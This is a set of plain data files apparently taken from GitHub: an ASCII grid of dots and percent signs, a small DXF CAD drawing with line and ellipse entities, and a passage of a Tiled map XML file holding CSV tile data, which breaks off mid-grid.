........%%%%......................%%%.............................%%%%......................%%%.............................%%%%......................%%%..................... m ....................................%%........4...............................................%%........0...............................................%%........1........... m ......................................%%........................................................%%........................................................%%.................. m .......................................%.........................................................%.........................................................%.................. m .....................%%........................................................%%........................................................%%................................... m ................%....%%%..................................................%....%%%..................................................%....%%%.................................. m ................%......%%.....................%%%%%%%%....................%......%%.....................%%%%%%%%....................%......%%.....................%%%%%%%%.... m ........................%%..............%%%%%%%%......%%..........................%%..............%%%%%%%%......%%..........................%%..............%%%%%%%%......%%.. m .........................%%.............%..............%%..........................%%.............%..............%%..........................%%.............%..............%%. m ..........................%%............................%...........................%%............................%...........................%%............................%. m ...........................%%.%.........................%%...........................%%.%.........................%%...........................%%.%.........................%% m %...........................%%...........................%%...........................%%...........................%%...........................%%...........................% m %%............%%.............%............................%%............%%.............%............................%%............%%.............%............................ m .%%.........................%..............................%%.........................%..............................%%.........................%............................. m ..%%........................%...............................%%........................%...............................%%........................%............................. m ........%%...................%....................................%%...................%....................................%%...................%............................ m ........%%...................%%...................................%%...................%%...................................%%...................%%........................... m ........%%.........%%.........%...........%.......................%%.........%%.........%...........%.......................%%.........%%.........%...........%............... m .........%....................%%..........%......%.................%....................%%..........%......%.................%....................%%..........%......%........ m .........%.....................%.................%.................%.....................%.................%.................%.....................%.................%........ m .........%.......................................%%................%.......................................%%................%.......................................%%....... m .........%%.......................................%................%%.......................................%................%%.......................................%....... m ..........%.......................................%%................%.......................................%%................%.......................................%%...... m ..........%........%%..............................%................%........%%..............................%................%........%%..............................%...... m ..........%........................................%%...............%........................................%%...............%........................................%%..... m ..........%%........................................%...............%%........................................%...............%%........................................%..... m ..........%%.............................................%..........%%.............................................%..........%%.............................................% m %.........%%..................%..........%................%.........%%..................%..........%................%.........%%..................%..........%................ m .%........%%%...............%%.........%%%.................%........%%%...............%%.........%%%.................%........%%%...............%%.........%%%................ m ........%%%%%%..............%.........%%.......%..................%%%%%%..............%.........%%.......%..................%%%%%%..............%.........%%.......%.......... m .......%%...%%%................................%.................%%...%%%................................%.................%%...%%%................................%.......... m ..............%%........................................................%%........................................................%%.......................................... m ...............%%........................................................%%........................................................%%......................................... m ................%%........%...............................................%%........%...............................................%%........%............................... m .................%%.......%................................................%%.......%................................................%%.......%............................... m ..................%%%...........................%...........................%%%...........................%...........................%%%...........................%......... m .....................................................%%........................................................%%........................................................%%... m .............................................................................................................................................................................. m .............................................................................................................................................................................. m ........................................%%........................................................%%........................................................%%................ m ..........................................%%........................................................%%........................................................%%.............. m .............................................................................................................................................................................. m ......%%......................%%................................%%......................%%................................%%......................%%.......................... m .............................................................................................................................................................................. m %%........................................................%%........................................................%%........................................................ m %............%%...........................................%............%%...........................................%............%%........................................... m .............................................................................................................................................................................. m .......................%.........................................................%.........................................................%.................................. m ..............................................%%........................................................%%........................................................%%.......... m .............................................%%........................................................%%........................................................%%........... m ...................................%........%%...............................................%........%%...............................................%........%%............ m .............................................................................................................................................................................. m .............................................................................................................................................................................. m .............................................................................................................................................................................. m .............................................................................................................................................................................. m .............................................................................................................................................................................. m .............................................................................................................................................................................. m ............%%........%...............................................%%........%...............................................%%........%................................... m ...........%%........................................................%%........................................................%%............................................. m ..........%%........................................................%%........................................................%%.............................................. m ..................................%.........................................................%.........................................................%....................... m .............................................................................................................................................................................. m ...........................................%%............%...........................................%%............%...........................................%%............% m ........................................................%%........................................................%%........................................................%% m .............................................................................................................................................................................. m ..........................%%......................%%................................%%......................%%................................%%......................%%...... m .............................................................................................................................................................................. m ..............%%........................................................%%........................................................%%.......................................... m ................%%........................................................%%........................................................%%........................................ m .............................................................................................................................................................................. m .............................................................................................................................................................................. m ...%%........................................................%%........................................................%%..................................................... m .........%...........................%%%...........................%...........................%%%...........................%...........................%%%.................. m ...............................%.......%%................................................%.......%%................................................%.......%%................. m ...............................%........%%...............................................%........%%...............................................%........%%................ m .........................................%%........................................................%%........................................................%%............... m ..........................................%%........................................................%%........................................................%%.............. m ..........%................................%%%...%%.................%................................%%%...%%.................%................................%%%...%%....... m ..........%.......%%.........%..............%%%%%%..................%.......%%.........%..............%%%%%%..................%.......%%.........%..............%%%%%%........ m ................%%%.........%%...............%%%........%.................%%%.........%%...............%%%........%.................%%%.........%%...............%%%........%. m ................%..........%..................%%.........%................%..........%..................%%.........%................%..........%..................%%.........% m %.............................................%%..........%.............................................%%..........%.............................................%%.......... m .....%........................................%%...............%........................................%%...............%........................................%%.......... m .....%%........................................%...............%%........................................%...............%%........................................%.......... m ......%..............................%%........%................%..............................%%........%................%..............................%%........%.......... m ......%%.......................................%................%%.......................................%................%%.......................................%.......... m .......%.......................................%%................%.......................................%%................%.......................................%%......... m .......%%.......................................%................%%.......................................%................%%.......................................%......... m ........%.................%.....................%.................%.................%.....................%.................%.................%.....................%......... m ........%......%..........%%....................%.................%......%..........%%....................%.................%......%..........%%....................%......... m ...............%...........%.........%%.........%%.......................%...........%.........%%.........%%.......................%...........%.........%%.........%%........ m ...........................%%...................%%...................................%%...................%%...................................%%...................%%........ m ............................%...................%%....................................%...................%%....................................%...................%%........ m .............................%........................%%...............................%........................%%...............................%........................%%.. m .............................%.........................%%..............................%.........................%%..............................%.........................%%. m ............................%.............%%............%%............................%.............%%............%%............................%.............%%............%% m %...........................%%...........................%%...........................%%...........................%%...........................%%...........................% m %%.........................%.%%...........................%%.........................%.%%...........................%%.........................%.%%........................... m .%............................%%...........................%............................%%...........................%............................%%.......................... m .%%..............%.............%%..........................%%..............%.............%%..........................%%..............%.............%%......................... m ..%%......%%%%%%%%..............%%..........................%%......%%%%%%%%..............%%..........................%%......%%%%%%%%..............%%........................ m ....%%%%%%%%.....................%%......%....................%%%%%%%%.....................%%......%....................%%%%%%%%.....................%%......%................ m ..................................%%%....%..................................................%%%....%..................................................%%%....%................ m ...................................%%........................................................%%........................................................%%..................... m ..................%.........................................................%.........................................................%....................................... m ..................%%........................................................%%........................................................%%...................................... m ...........2........%%...............................................3........%%...............................................5........%%.................................... m .....................%%%......................%%%%.............................%%%......................%%%%.............................%%%......................%%%%........ m .......................%%........................................................%%........................................................%%................................. m .........................%%........................................................%%........................................................%%............................... m ..........................%%........................................................%%........................................................%%..............................
{ "pile_set_name": "Github" }
999 dxfrw 0.5.10 0 SECTION 2 HEADER 9 $ACADVER 1 AC1021 9 $HANDSEED 5 20000 9 $DWGCODEPAGE 3 ANSI_1252 9 $INSBASE 10 0 20 0 30 0 9 $EXTMIN 10 0 20 0 30 0 9 $EXTMAX 10 0 20 0 30 0 9 $LIMMIN 10 0 20 0 9 $LIMMAX 10 420 20 297 9 $ORTHOMODE 70 0 9 $LTSCALE 40 1 9 $TEXTSTYLE 7 STANDARD 9 $CLAYER 8 0 9 $DIMASZ 40 2.5 9 $DIMLFAC 40 1 9 $DIMSCALE 40 1 9 $DIMEXO 40 0.625 9 $DIMEXE 40 1.25 9 $DIMTXT 40 2.5 9 $DIMTSZ 40 0 9 $DIMAUNIT 70 0 9 $DIMADEC 70 0 9 $DIMLUNIT 70 2 9 $DIMSTYLE 2 STANDARD 9 $DIMGAP 40 0.625 9 $DIMTIH 70 0 9 $LUNITS 70 2 9 $LUPREC 70 4 9 $AUNITS 70 0 9 $AUPREC 70 2 9 $SPLINESEGS 70 8 9 $GRIDMODE 70 1 9 $SNAPSTYLE 70 0 9 $PINSBASE 10 3.59203924525e-289 20 1.77864316487e-313 30 6.79038653148e-313 9 $PLIMMIN 10 0 20 0 9 $PLIMMAX 10 0 20 0 9 $INSUNITS 70 0 9 $PSVPSCALE 40 1 0 ENDSEC 0 SECTION 2 CLASSES 0 ENDSEC 0 SECTION 2 TABLES 0 TABLE 2 VPORT 5 8 330 0 100 AcDbSymbolTable 70 1 0 VPORT 5 31 330 2 100 AcDbSymbolTableRecord 100 AcDbViewportTableRecord 2 *ACTIVE 70 0 10 0 20 0 11 1 21 1 12 153.75 22 71.125 13 0 23 0 14 10 24 10 15 10 25 10 16 0 26 0 36 1 17 0 27 0 37 0 40 154.75 41 2.06785137318 42 50 43 0 44 0 50 0 51 0 71 0 72 100 73 1 74 3 75 0 76 1 77 0 78 0 281 0 65 1 110 0 120 0 130 0 111 1 121 0 131 0 112 0 122 1 132 0 79 0 146 0 348 10020 60 7 61 5 292 1 282 1 141 0 142 0 63 250 421 3358443 0 ENDTAB 0 TABLE 2 LTYPE 5 5 330 0 100 AcDbSymbolTable 70 4 0 LTYPE 5 14 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 ByBlock 70 0 3 72 65 73 0 40 0 0 LTYPE 5 15 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 ByLayer 70 0 3 72 65 73 0 40 0 0 LTYPE 5 16 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 Continuous 70 0 3 Solid line 72 65 73 0 40 0 0 LTYPE 5 32 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DOT 70 0 3 Dot . . . . . . . . . . . . . . . . . . . . . . 72 65 73 2 40 6.35 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 33 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DOT2 70 0 3 Dot (.5x) ..................................... 72 65 73 2 40 3.175 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 34 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DOTX2 70 0 3 Dot (2x) . . . . . . . . . . . . . 72 65 73 2 40 12.7 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 35 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHED 70 0 3 Dot . . . . . . . . . . . . . . . . . . . . . . 72 65 73 2 40 19.05 49 12.7 74 0 49 -6.35 74 0 0 LTYPE 5 36 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHED2 70 0 3 Dashed (.5x) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 72 65 73 2 40 9.525 49 6.35 74 0 49 -3.175 74 0 0 LTYPE 5 37 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHEDX2 70 0 3 Dashed (2x) ____ ____ ____ ____ ____ ___ 72 65 73 2 40 38.1 49 25.4 74 0 49 -12.7 74 0 0 LTYPE 5 38 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHDOT 70 0 3 Dash dot __ . __ . __ . __ . __ . __ . __ . __ 72 65 73 4 40 25.4 49 12.7 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 39 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHDOT2 70 0 3 Dash dot (.5x) _._._._._._._._._._._._._._._. 72 65 73 4 40 12.7 49 6.35 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 3A 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHDOTX2 70 0 3 Dash dot (2x) ____ . ____ . ____ . ___ 72 65 73 4 40 50.8 49 25.4 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 3B 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DIVIDE 70 0 3 Divide ____ . . ____ . . ____ . . ____ . . ____ 72 65 73 6 40 31.75 49 12.7 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 3C 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DIVIDE2 70 0 3 Divide (.5x) __..__..__..__..__..__..__..__.._ 72 65 73 6 40 15.875 49 6.35 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 3D 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DIVIDEX2 70 0 3 Divide (2x) ________ . . ________ . . _ 72 65 73 6 40 63.5 49 25.4 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 3E 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BORDER 70 0 3 Border __ __ . __ __ . __ __ . __ __ . __ __ . 72 65 73 6 40 44.45 49 12.7 74 0 49 -6.35 74 0 49 12.7 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 3F 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BORDER2 70 0 3 Border (.5x) __.__.__.__.__.__.__.__.__.__.__. 72 65 73 6 40 22.225 49 6.35 74 0 49 -3.175 74 0 49 6.35 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 40 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BORDERX2 70 0 3 Border (2x) ____ ____ . ____ ____ . ___ 72 65 73 6 40 88.9 49 25.4 74 0 49 -12.7 74 0 49 25.4 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 41 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 CENTER 70 0 3 Center ____ _ ____ _ ____ _ ____ _ ____ _ ____ 72 65 73 4 40 50.8 49 31.75 74 0 49 -6.35 74 0 49 6.35 74 0 49 -6.35 74 0 0 LTYPE 5 42 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 CENTER2 70 0 3 Center (.5x) ___ _ ___ _ ___ _ ___ _ ___ _ ___ 72 65 73 4 40 28.575 49 19.05 74 0 49 -3.175 74 0 49 3.175 74 0 49 -3.175 74 0 0 LTYPE 5 43 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 CENTERX2 70 0 3 Center (2x) ________ __ ________ __ _____ 72 65 73 4 40 101.6 49 63.5 74 0 49 -12.7 74 0 49 12.7 74 0 49 -12.7 74 0 0 ENDTAB 0 TABLE 2 LAYER 5 2 330 0 100 AcDbSymbolTable 70 1 0 LAYER 5 10 330 2 100 AcDbSymbolTableRecord 100 AcDbLayerTableRecord 2 0 70 0 62 7 6 CONTINUOUS 370 0 390 F 0 ENDTAB 0 TABLE 2 STYLE 5 3 330 0 100 AcDbSymbolTable 70 3 0 STYLE 5 44 330 2 100 AcDbSymbolTableRecord 100 AcDbTextStyleTableRecord 2 Standard 70 0 40 0 41 1 50 0 71 0 42 1 3 txt 4 0 ENDTAB 0 TABLE 2 VIEW 5 6 330 0 100 AcDbSymbolTable 70 0 0 ENDTAB 0 TABLE 2 UCS 5 7 330 0 100 AcDbSymbolTable 70 0 0 ENDTAB 0 TABLE 2 APPID 5 9 330 0 100 AcDbSymbolTable 70 1 0 APPID 5 12 330 9 100 AcDbSymbolTableRecord 100 AcDbRegAppTableRecord 2 ACAD 70 0 0 ENDTAB 0 TABLE 2 DIMSTYLE 5 A 330 0 100 AcDbSymbolTable 70 1 100 AcDbDimStyleTable 71 1 0 DIMSTYLE 105 45 330 A 100 AcDbSymbolTableRecord 100 AcDbDimStyleTableRecord 2 Standard 70 0 40 1 41 2.5 42 0.625 43 0.38 44 1.25 45 0 46 0 47 0 48 0 140 2.5 141 0.09 142 0 143 25.4 144 1 145 0 146 1 147 0.625 148 0 71 0 72 0 73 0 74 1 75 0 76 0 77 0 78 0 79 0 170 0 171 2 172 0 173 0 174 0 175 0 176 0 177 0 178 0 179 0 271 4 272 4 273 2 274 2 275 0 276 0 277 2 278 46 279 0 280 0 281 0 282 0 283 1 284 0 285 0 286 0 288 0 289 3 340 Standard 341 371 -2 372 -2 0 ENDTAB 0 TABLE 2 BLOCK_RECORD 5 1 330 0 100 AcDbSymbolTable 70 2 0 BLOCK_RECORD 5 1F 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *Model_Space 70 0 280 1 281 0 0 BLOCK_RECORD 5 1E 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *Paper_Space 70 0 280 1 281 0 0 ENDTAB 0 ENDSEC 0 SECTION 2 BLOCKS 0 BLOCK 5 20 330 1F 100 AcDbEntity 8 0 100 AcDbBlockBegin 2 *Model_Space 70 0 10 0 20 0 30 0 3 *Model_Space 1 0 ENDBLK 5 21 330 1F 100 AcDbEntity 8 0 100 AcDbBlockEnd 0 BLOCK 5 1C 330 1B 100 AcDbEntity 8 0 100 AcDbBlockBegin 2 *Paper_Space 70 0 10 0 20 0 30 0 3 *Paper_Space 1 0 ENDBLK 5 1D 330 1F 100 AcDbEntity 8 0 100 AcDbBlockEnd 0 ENDSEC 0 SECTION 2 ENTITIES 0 LINE 5 46 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbLine 10 11.818182 20 5.909091 11 15.409091 21 5.909091 0 LINE 5 47 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbLine 10 0 20 5.818182 11 -3.590909 21 5.818182 0 LINE 5 48 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbLine 10 0 20 0 11 11.818182 21 11.818182 0 ELLIPSE 5 49 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbEllipse 10 5.906147 20 1.118182 30 0 11 -4.40872847693e-016 21 -2.4 31 0 40 0.882149 41 2.35619449029 42 3.92699081709 0 ELLIPSE 5 4A 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbEllipse 10 8.90026 20 4.512295 30 0 11 -4.40872847693e-016 21 -2.4 31 0 40 0.882149 41 5.49778714388 42 0.785398163501 0 LINE 5 4B 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbLine 10 5.609091 20 9.518182 11 1.609091 21 9.518182 0 LINE 5 4C 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbLine 10 3.409091 20 1.718182 11 6.353577 21 0.018182 0 LINE 5 4D 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbLine 10 3.409091 20 -1.681818 11 6.353577 21 0.018182 0 LINE 5 4E 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbLine 10 0 20 11.818182 11 11.818182 21 11.818182 0 LINE 5 4F 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbLine 10 11.818182 20 11.818182 11 11.818182 21 0 0 LINE 5 50 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbLine 10 11.818182 20 0 11 0 21 0 0 LINE 5 51 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 18 100 AcDbLine 10 0 20 0 11 0 21 11.818182 0 ENDSEC 0 SECTION 2 OBJECTS 0 DICTIONARY 5 C 330 0 100 AcDbDictionary 281 1 3 ACAD_GROUP 350 D 0 DICTIONARY 5 D 330 C 100 AcDbDictionary 281 1 0 ENDSEC 0 EOF
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <map version="1.0" tiledversion="1.1.5" orientation="orthogonal" renderorder="right-down" width="64" height="64" tilewidth="128" tileheight="128" infinite="0" nextobjectid="1"> <tileset firstgid="1" source="testtileset.tsx"/> <layer name="Tile Layer 1" width="64" height="64"> <data encoding="csv"> 12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12, 12,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,12, 12,8,8,20,8,8,8,12,8,8,8,8,8,12,12,8,8,8,8,8,8,6,8,8,8,8,8,8,8,8,8,20,20,8,8,8,8,8,8,8,8,8,6,8,8,8,8,8,8,12,12,8,8,8,8,8,12,8,8,8,20,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,12,12,12,12,8,8,8,8,8,12,8,8,8,8,6,8,8,8,8,12,12,8,8,8,8,6,8,8,8,8,12,8,8,8,8,8,12,12,12,12,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,6,6,8,8,8,8,20,8,12,8,20,8,8,8,8,8,8,8,12,12,8,8,8,8,8,8,8,20,8,12,8,20,8,8,8,8,6,6,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,6,12,20,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,6,12,12,6,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,20,12,6,8,8,8,8,8,12, 12,8,8,12,12,12,12,12,12,12,12,12,8,8,8,8,12,12,12,12,12,12,12,12,12,12,12,8,8,12,12,12,12,12,12,8,8,12,12,12,12,12,12,12,12,12,12,12,8,8,8,8,12,12,12,12,12,12,12,12,12,8,8,12, 12,8,8,8,8,8,20,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,20,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,6,8,8,8,8,8,8,8,12,12,8,8,8,8,8,8,8,6,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,20,20,8,8,12,8,8,6,6,8,8,12,8,8,8,8,8,8,6,8,8,12,12,8,8,8,6,8,8,8,8,8,12,8,8,6,6,8,8,12,8,8,20,20,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,20,20,8,8,12,8,8,6,6,8,8,8,8,8,8,12,8,8,6,8,8,12,12,8,8,8,6,8,12,8,8,8,8,8,8,6,6,8,8,12,8,8,20,20,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,20,8,12,8,8,8,8,8,8,8,8,8,8,8,8,12,8,20,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,12, 12,8,8,12,12,6,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,6,12,12,8,8,12, 12,8,8,12,12,6,8,8,8,8,12,12,12,12,12,12,8,8,12,12,12,12,8,8,8,12,12,12,12,8,8,20,20,8,8,12,12,12,12,8,8,8,12,12,12,12,8,8,12,12,12,12,12,12,8,8,8,8,6,12,12,8,8,12, 12,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12,8,6,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,6,8,12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,6,6,8,8,8,8,8,20,20,8,8,12,12,12,12,8,8,6,8,8,8,12,12,8,8,8,6,8,8,12,12,12,12,8,8,20,20,8,8,8,8,8,6,6,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,6,6,8,8,12,8,8,20,20,8,8,8,8,8,8,8,8,8,8,8,8,12,12,8,8,8,8,8,8,8,8,8,8,8,8,20,20,8,8,12,8,8,6,6,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,20,8,12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,20,8,8,6,6,12,12,6,6,8,8,20,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12,8,20,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,12,8,8,8,8,8,8,12,6,8,8,8,8,8,8,6,6,12,12,6,6,8,8,8,8,8,8,6,12,8,8,8,8,8,8,12,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,6,12,12,12,12,12,12,12,8,8,8,12,12,12,12,8,8,12,12,12,12,12,8,8,8,8,12,12,12,12,12,12,8,8,8,8,12,12,12,12,12,8,8,12,12,12,12,8,8,8,12,12,12,12,12,12,12,6,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,6,12,6,8,8,8,8,8,6,8,8,20,20,8,8,6,8,8,8,8,8,6,12,6,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,20,8,12,8,6,8,8,20,8,8,6,8,12,8,8,8,12,8,8,8,8,6,8,8,8,8,8,8,8,8,8,8,6,8,8,8,8,12,8,8,8,12,8,6,8,8,20,8,8,6,8,12,8,20,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,12,8,8,20,12,8,8,8,8,8,8,8,8,8,8,8,8,12,20,8,8,12,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,12,12,12,12,8,8,8,8,8,8,8,8,8,12,12,8,8,8,8,12,8,8,12,8,8,8,8,12,12,8,8,8,8,8,8,8,8,8,12,12,12,12,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,6,8,8,12,8,8,8,8,8,8,12,8,8,8,8,20,8,8,8,6,8,8,8,6,12,12,12,8,8,12,12,12,6,8,8,8,6,8,8,8,20,8,8,8,8,12,8,8,8,8,8,8,12,8,8,6,8,8,8,12, 12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,6,8,8,8,8,8,8,8,8,6,12,12,6,6,8,8,6,6,12,12,6,8,8,8,8,8,8,8,8,6,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,8,8,8,6,6,8,8,12,8,8,8,8,8,8,8,6,8,8,8,12,12,6,8,8,8,8,8,8,6,12,12,8,8,8,6,8,8,8,8,8,8,8,12,8,8,6,6,8,8,8,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,6,6,12,8,8,8,8,12,6,8,12,12,8,8,12,12,8,6,12,8,8,8,8,12,6,6,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,6,12,8,8,8,8,8,8,8,8,8,8,8,6,6,12,8,8,8,12,12,6,8,12,8,8,8,8,12,8,6,12,12,8,8,8,12,6,6,8,8,8,8,8,8,8,8,8,8,8,12,6,8,8,8,8,8,12, 12,8,8,20,12,12,12,12,12,12,12,12,8,8,20,8,8,12,12,12,12,12,20,8,8,8,8,8,8,8,8,20,20,8,8,8,8,8,8,8,8,20,12,12,12,12,12,8,8,20,8,8,12,12,12,12,12,12,12,12,20,8,8,12, 12,8,8,20,12,12,12,12,12,12,12,12,8,8,20,8,8,12,12,12,12,12,20,8,8,8,8,8,8,8,8,20,20,8,8,8,8,8,8,8,8,20,12,12,12,12,12,8,8,20,8,8,12,12,12,12,12,12,12,12,20,8,8,12, 12,8,8,8,8,8,6,12,8,8,8,8,8,8,8,8,8,8,8,6,6,12,8,8,8,12,12,6,8,12,8,8,8,8,12,8,6,12,12,8,8,8,12,6,6,8,8,8,8,8,8,8,8,8,8,8,12,6,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,6,6,12,8,8,8,8,12,6,8,12,12,8,8,12,12,8,6,12,8,8,8,8,12,6,6,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,8,8,8,6,6,8,8,12,8,8,8,8,8,8,8,6,8,8,8,12,12,6,8,8,8,8,8,8,6,12,12,8,8,8,6,8,8,8,8,8,8,8,12,8,8,6,6,8,8,8,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,6,8,8,8,8,8,8,8,8,6,12,12,6,6,8,8,6,6,12,12,6,8,8,8,8,8,8,8,8,6,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12, 12,8,8,8,6,8,8,12,8,8,8,8,8,8,12,8,8,8,8,20,8,8,8,6,8,8,8,6,12,12,12,8,8,12,12,12,6,8,8,8,6,8,8,8,20,8,8,8,8,12,8,8,8,8,8,8,12,8,8,6,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,12,12,12,12,8,8,8,8,8,8,8,8,8,12,12,8,8,8,8,12,8,8,12,8,8,8,8,12,12,8,8,8,8,8,8,8,8,8,12,12,12,12,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,12,8,8,20,12,8,8,8,8,8,8,8,8,8,8,8,8,12,20,8,8,12,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 